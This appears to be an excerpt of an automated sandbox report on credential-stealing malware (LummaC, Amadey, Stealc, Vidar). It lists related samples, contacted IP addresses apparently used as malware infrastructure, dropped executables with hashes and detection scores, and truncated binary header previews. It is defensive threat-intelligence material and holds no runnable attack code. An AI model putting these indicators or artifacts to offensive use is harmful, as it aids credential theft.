	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.97.3
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\ProgramData\chrome.dll	5y992FSaRX.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4D7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Oct 31 22:38:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	284042
Entropy (8bit):	1.4191797510374904
Encrypted:	false
SSDEEP:	384:wvqlh/ZbBseEEJgost0I+tNMsGLibBT+z9OGBIZeqrY9P6RnJt1fwhLNCSHL:wqxieEEeosCI+tBpeOds0ltL1CtL
MD5:	3EE3106045A2535F8071FDC6E6B19231
SHA1:	48243715700A1F19B2531FCA4DC1EA52AB004C09
SHA-256:	D65AC80F2BAB9385A20A2975BA7DA1FB314507FC5B816EE222627ABE5184F36D
SHA-512:	C170553342BE92A34A381D7A1D24F0CEBF92AFE012860DE731410433124F7C312591AF3DAFEB3FEEEDB46E355ED02F4A87E660F35B610635C50D5A9BE078E601
Malicious:	false
Preview:	MDMP..a..... .........$g............d...............l......................T.......8...........T............>..r............%...........&..............................................................................eJ.......'......GenuineIntel............T.......`.....$g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA68E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8346
Entropy (8bit):	3.697395324449831
Encrypted:	false
SSDEEP:	192:R6l7wVeJWpj6Sff36YU96d3bQgmfr744KprV89bAzsfaAm:R6lXJi666Ym6d3bQgmfX449AYfs
MD5:	BAD72B24FAF255C8D252ED25DE0AFB05
SHA1:	85DEC27CB0C135F5B8489AFC2EB5A5F23DD6135D
SHA-256:	DD631D7A341C35BDDCAE63885893CC18B79938236A06D33A97E9816BA7987049
SHA-512:	5A89D239C3E279305CB650B2A6E8D4B012FA41877939AEBB7F9BD02695C087E160333010868022F133553DDB7AF79BDC7D7DD8FC760EAB6519B1FD978B47F246
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6EC.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4600
Entropy (8bit):	4.4773200470822445
Encrypted:	false
SSDEEP:	48:cvIwWl8zsFJg77aI9vjQWpW8VYWYm8M4JK/FR+q8NsrguO43PHd:uIjffI7Rjp7V+Jo1ccfHd
MD5:	B47A7349B73C39A575A3DAE34BA3DD1C
SHA1:	D474230BC51E16CF13A7313906278340763661A1
SHA-256:	84C4B058049AF434F064D5902B9F2391A0B4472E9C475D279E62F05756411C2B
SHA-512:	975639C6A1B5FE2581F1080177B8FEE925EEDC47BBA063646CB657CBB8A1AF27E2977DB8E6FA92F46E212D893D62B5A5A8908338AE6DD003D582EB3499F5B27B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="568181" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5y992FSaRX.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: oZ7nac01Em.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WGo3ga1AL9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LY9L8IB5BIZFUZH5SXM3A25NO.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2971136
Entropy (8bit):	6.534881943125814
Encrypted:	false
SSDEEP:	49152:GSVTwPpW8cUU/OxP3RSClYgCs1zbAOO2:PVTwPpW8cR/8/RS2XCooOO2
MD5:	6F2957621E58F125944B38C36664A91A
SHA1:	C160F49C7F5204345AC17D4F2D7D4757ABF34886
SHA-256:	6FC81CAA454B16D31631BC1EF0E63F459291B364C6C46494C326453B78F3DB2D
SHA-512:	90DEA9E503160C044B8D037BD72937DC60F732727940A3F675EC1C68B2DD997572EB289354BA5C0072D12CA79100701E88E89A459DF7E4EAA23075661654AA63
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........`0...........@...........................0.....v.-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...swezfqkm..........................@...xdynphyp.....P0......0-.............@....taggant.0...`0.."...4-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584683985182415
Encrypted:	false
SSDEEP:	12288:IqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TU:IqDEvCTbMWu7rQYlBQcBiT6rprG8abU
MD5:	32700F4360021133EDF61F31A569FD30
SHA1:	36D76D0BE9C755C8EF4CAA44EC983E17EC78B4C3
SHA-256:	458502605B70B79AEC944909EE8C58227A048EECD65D4A6517BD4DDE486CDD32
SHA-512:	F30A04BEB13B8FB49FC92E4B686BF86C5888B2A8AF6322D10C2DC61FF7D6BDEBF30B2084947437B33862CE0F4AC94351084BB972F082028A7163E676058126CD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...?.#g.........."..........X......w.............@..........................`.......~....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2118656
Entropy (8bit):	7.960550122218739
Encrypted:	false
SSDEEP:	49152:3QyjudgC7L7BHg2t1IL2YYsylbyGcmVByYZ/:3Qyadd7HBHeQBFy+VByYZ/
MD5:	0851A659097FB0251FF585C552F6673D
SHA1:	B3F95EA7672BE4A71E2C5C6B19EFD44B26D9D757
SHA-256:	045BFDA1E383466D58BFE5DEC775188FF592DE16671DC6DA7BF9C8FADBA3CCBA
SHA-512:	EFF17B0E24917AC7E54A310882A8E4829989C2C3F3E96EC658C0E20B12AD2EF646EF5FA968E68DC7D35A48589433E5F5AEFA7395C9120C664599232D877CD1BB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......0r...........@..........................`r......L!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...aslwbrhj.....pX.....................@...bqvglmea..... r......, .............@....taggant.0...0r.."...2 .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2971136
Entropy (8bit):	6.534881943125814
Encrypted:	false
SSDEEP:	49152:GSVTwPpW8cUU/OxP3RSClYgCs1zbAOO2:PVTwPpW8cR/8/RS2XCooOO2
MD5:	6F2957621E58F125944B38C36664A91A
SHA1:	C160F49C7F5204345AC17D4F2D7D4757ABF34886
SHA-256:	6FC81CAA454B16D31631BC1EF0E63F459291B364C6C46494C326453B78F3DB2D
SHA-512:	90DEA9E503160C044B8D037BD72937DC60F732727940A3F675EC1C68B2DD997572EB289354BA5C0072D12CA79100701E88E89A459DF7E4EAA23075661654AA63
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........`0...........@...........................0.....v.-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...swezfqkm..........................@...xdynphyp.....P0......0-.............@....taggant.0...`0.."...4-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2118656
Entropy (8bit):	7.960550122218739
Encrypted:	false
SSDEEP:	49152:3QyjudgC7L7BHg2t1IL2YYsylbyGcmVByYZ/:3Qyadd7HBHeQBFy+VByYZ/
MD5:	0851A659097FB0251FF585C552F6673D
SHA1:	B3F95EA7672BE4A71E2C5C6B19EFD44B26D9D757
SHA-256:	045BFDA1E383466D58BFE5DEC775188FF592DE16671DC6DA7BF9C8FADBA3CCBA
SHA-512:	EFF17B0E24917AC7E54A310882A8E4829989C2C3F3E96EC658C0E20B12AD2EF646EF5FA968E68DC7D35A48589433E5F5AEFA7395C9120C664599232D877CD1BB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......0r...........@..........................`r......L!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...aslwbrhj.....pX.....................@...bqvglmea..... r......, .............@....taggant.0...0r.."...2 .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584683985182415
Encrypted:	false
SSDEEP:	12288:IqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TU:IqDEvCTbMWu7rQYlBQcBiT6rprG8abU
MD5:	32700F4360021133EDF61F31A569FD30
SHA1:	36D76D0BE9C755C8EF4CAA44EC983E17EC78B4C3
SHA-256:	458502605B70B79AEC944909EE8C58227A048EECD65D4A6517BD4DDE486CDD32
SHA-512:	F30A04BEB13B8FB49FC92E4B686BF86C5888B2A8AF6322D10C2DC61FF7D6BDEBF30B2084947437B33862CE0F4AC94351084BB972F082028A7163E676058126CD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...?.#g.........."..........X......w.............@..........................`.......~....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003023001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2971136
Entropy (8bit):	6.534881943125814
Encrypted:	false
SSDEEP:	49152:GSVTwPpW8cUU/OxP3RSClYgCs1zbAOO2:PVTwPpW8cR/8/RS2XCooOO2
MD5:	6F2957621E58F125944B38C36664A91A
SHA1:	C160F49C7F5204345AC17D4F2D7D4757ABF34886
SHA-256:	6FC81CAA454B16D31631BC1EF0E63F459291B364C6C46494C326453B78F3DB2D
SHA-512:	90DEA9E503160C044B8D037BD72937DC60F732727940A3F675EC1C68B2DD997572EB289354BA5C0072D12CA79100701E88E89A459DF7E4EAA23075661654AA63
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........`0...........@...........................0.....v.-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...swezfqkm..........................@...xdynphyp.....P0......0-.............@....taggant.0...`0.."...4-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2971136
Entropy (8bit):	6.534881943125814
Encrypted:	false
SSDEEP:	49152:GSVTwPpW8cUU/OxP3RSClYgCs1zbAOO2:PVTwPpW8cR/8/RS2XCooOO2
MD5:	6F2957621E58F125944B38C36664A91A
SHA1:	C160F49C7F5204345AC17D4F2D7D4757ABF34886
SHA-256:	6FC81CAA454B16D31631BC1EF0E63F459291B364C6C46494C326453B78F3DB2D
SHA-512:	90DEA9E503160C044B8D037BD72937DC60F732727940A3F675EC1C68B2DD997572EB289354BA5C0072D12CA79100701E88E89A459DF7E4EAA23075661654AA63
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........`0...........@...........................0.....v.-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...swezfqkm..........................@...xdynphyp.....P0......0-.............@....taggant.0...`0.."...4-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.435412133364624
Encrypted:	false
SSDEEP:	49152:nLRWhgxgje5KuhUXEPVCycqmpO3FGKubx1M8cCDT:nLRWhgxgje5KuhUXEPxcfO3icCX
MD5:	938E6EEA0676862A7785713D09C42FDB
SHA1:	3353475F1DE758F4CF32A5D9CE9F4EA1F3D11108
SHA-256:	751E9EF94A0FC16122FA9DBB8B71C5D334B9C6462834B169285B70A520D1BA03
SHA-512:	F38E84E2B482C76808EFEACF477134A2CEA1261AB36A2971D97587036515B3545FB4CF501AC7094B2103C2E71A32141A93A8C9676D2339B45B81DFAF2AEDB5ED
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.....h.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mumtztzr...........:..............@...ueaihgqr. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.435412133364624
Encrypted:	false
SSDEEP:	49152:nLRWhgxgje5KuhUXEPVCycqmpO3FGKubx1M8cCDT:nLRWhgxgje5KuhUXEPxcfO3icCX
MD5:	938E6EEA0676862A7785713D09C42FDB
SHA1:	3353475F1DE758F4CF32A5D9CE9F4EA1F3D11108
SHA-256:	751E9EF94A0FC16122FA9DBB8B71C5D334B9C6462834B169285B70A520D1BA03
SHA-512:	F38E84E2B482C76808EFEACF477134A2CEA1261AB36A2971D97587036515B3545FB4CF501AC7094B2103C2E71A32141A93A8C9676D2339B45B81DFAF2AEDB5ED
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
